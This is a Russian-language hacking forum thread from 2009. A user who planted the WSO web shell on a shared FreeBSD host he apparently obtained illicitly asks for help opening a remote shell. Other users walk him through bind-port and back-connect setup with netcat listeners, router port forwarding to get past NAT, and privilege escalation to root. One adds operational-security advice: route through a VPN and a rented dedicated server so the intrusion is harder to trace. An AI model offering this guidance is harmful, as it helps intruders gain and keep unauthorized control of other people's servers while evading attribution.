PDA

Просмотр полной версии : Не могу соединиться с сервером (bind port, Back-connect)


zerotof
20.08.2009, 12:04
Не могу соединиться с сервером (bind port, Back-connect).
Получил доступ по FTP к сайту. На сайте есть поддержка php. Залил туда WSO (веб-шелл) http://forum.xakep.ru/m_1393504/tm.htm.

По FTP не смог подняться выше чем каталог сайта.
А через веб шелл WSO смог подняться выше (вплоть до /),
оказалось на этом сервере хостится много сайтов.
Сервер FreeBSD.

В этом веб шелле в разделе "Network tools" есть две команды:
1 - Bind port to /bin/sh
2 - Back-connect to
Я решил использовать bind port.
В самом веб шелле, в поле Port ввёл 31337 (не ввёл, а там это уже было), Password: wso, Using: Perl.
Нажал >> (это кнопка OK).
Выдало

w15332 83154 0.0 0.0 1544 324 ?? DLJ 11:56AM 0:00.00 grep bp.pl

Как я понял, был запущен Perl-скрипт.
Теперь на компе друга открываю командную строку,
ввожу telnet, потом ввожу

open **.***.***.** 31337

Вместо звёздочек ip-адрес сервера (показал WSO).
Выдало

Подключение к **********...Не удалось открыть подключение к этому узлу, на порт 31337: Сбой подключения

Я ведь ещё пароль указал, как ввести пароль через telnet?
Ввёл команду id на веб шелле WSO
выдало
uid=15332(w15332) gid=15332(g15332) groups=15332(g15332),80(www)
Может прав не хватает?

ph1l1ster
20.08.2009, 12:15
на своём компе
nc -l -p 31337
и с шелла коннекться к себе.

zerotof
20.08.2009, 12:20
на своём компе
nc -l -p 31337
и с шелла коннекться к себе.
C:\Documents and Settings\Администратор>nc -l -p 31337
"nc" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

C:\Documents and Settings\Администратор>ver
Microsoft Windows XP [Версия 5.1.2600]

ps лучше не на своём, а на компе друга

remb0
20.08.2009, 12:36
C:\Documents and Settings\Администратор>nc -l -p 31337
"nc" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

C:\Documents and Settings\Администратор>ver
Microsoft Windows XP [Версия 5.1.2600]

ps лучше не на своём, а на компе друга

Сначала NetCat скачай отсюда (http://www.securitylab.ru/software/233635.php)

zerotof
20.08.2009, 12:59
Перезагрузился в линукс.
Запускаю из под рута
[root@localhost vova]# nc -l -p 31337
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]
[-x proxy_address[:port]] [hostname] [port[s]]
[root@localhost vova]#

Что не так?

remb0
20.08.2009, 13:56
# nc -l 31337

zerotof
20.08.2009, 14:10
Ввёл на своём компе nc -l 31337
Потом вошёл в wso, выбрал Back-connect to
в поле Server: был мой ip, порт 31337, в поле using вписано c.
нажал OK.
появилось
w15332 99627 0.0 0.0 2532 764 ?? SsJ 2:07PM 0:00.00 /tmp/bc **.**.**
w15332 99630 0.0 0.0 2632 392 ?? RLJ 2:07PM 0:00.00 grep bc
у меня на консоли (где запускал nc) ничего не появилось, ошибки кстати не выдало.
слушает порт и всё. ничего не появляется.

ph1l1ster
20.08.2009, 14:14
Ввёл на своём компе nc -l 31337
Потом вошёл в wso, выбрал Back-connect to
в поле Server: был мой ip, порт 31337, в поле using вписано c.
нажал OK.
появилось

у меня на консоли (где запускал nc) ничего не появилось, ошибки кстати не выдало.
слушает порт и всё. ничего не появляется.

perl выбирай. стабильней.

zerotof
20.08.2009, 14:56
Скачал другой nc.
http://forum.antichat.ru/threadnav116893-2-10.html
Со сборкой тоже пришлось помучиться. Выдавало ошибку в netcat.c - функция res_init() не определена.
Решил удалением части кода из netcat.c:
Тоже удали res_init(). без этого не компилилось.
скомпилировал и переименовал в ncmy (чтобы не запутаться)
на своём компе запустил
./ncmy -l -p 31337
ошибок нет, ничего не выдало.
Потом вошёл в wso, выбрал Back-connect to
в поле Server: был мой ip, порт 31337, в поле using вписано c.
нажал OK.
появилось
w15332 58301 0.0 0.0 2532 764 ?? SsJ 2:55PM 0:00.00 /tmp/bc **.**.**
w15332 58304 0.0 0.0 5900 900 ?? RLJ 2:55PM 0:00.00 grep bc
у меня на консоли (где запускал nc) ничего не появилось, ошибки кстати не выдало.
слушает порт и всё. ничего не появляется.

zerotof
20.08.2009, 16:15
Я выходу в интернет через модем со встроенной точкой доступа wifi.
На моём компе ip 192.168.*.*
Веб шелл wso говорит, что мой ip 95.**.**.*

remb0
20.08.2009, 16:54
Я выходу в интернет через модем со встроенной точкой доступа wifi.
На моём компе ip 192.168.*.*
Веб шелл wso говорит, что мой ip 95.**.**.*
Так ты еще и за НАТом сидиш!!! Ты порт ремап в модеме зделал с внешнего IP на внутрений(твой комп) ?

freelsd
20.08.2009, 17:12
Версию Фрибсд смотри и если до 7 поднимай права до рута, а так - ***ней какой-то страдаешь. WWW ничего тебе не даст.

zerotof
20.08.2009, 17:16
Так ты еще и за НАТом сидиш!!! Ты порт ремап в модеме зделал с внешнего IP на внутрений(твой комп) ?

У меня LinkSys Wireless-G ADSL Home Gateway WAG354G V.2
Меню Setup->Advanced Routing->NAT
Там только два пункта Enable, Disable

zerotof
20.08.2009, 17:20
Версию Фрибсд смотри и если до 7 поднимай права до рута, а так - ***ней какой-то страдаешь. WWW ничего тебе не даст.
Как раз версия 7

remb0
20.08.2009, 17:43
У меня LinkSys Wireless-G ADSL Home Gateway WAG354G V.2
Меню Setup->Advanced Routing->NAT
Там только два пункта Enable, Disable
Идеш в The Applications and Gaming Tab -> Single Port Forwarding -> и заполняеш следующим образом:
поле Application ->Backconnect, External port - 31337,
Internal port - 31337, Протокол TCP, IP адрес - твой внутрений 192,168,*,* , Enable

geezer.code
20.08.2009, 17:47
Ох , парни вы ему и насоветовали. бэк-коннект на свой риал ip это "мудрое" решение.

zerotof
20.08.2009, 17:59
Ох , парни вы ему и насоветовали. бэк-коннект на свой риал ip это "мудрое" решение.

А что посоветуешь ты?

geezer.code
20.08.2009, 18:11
сначала думай о своей безопасности, а потом уже "ломай" чтото
нормальная схема такая.
впн -> дедик -> ломаемый сервер

zerotof
20.08.2009, 18:23
Я вообще то ничего не ломал. Просто шелл хотел.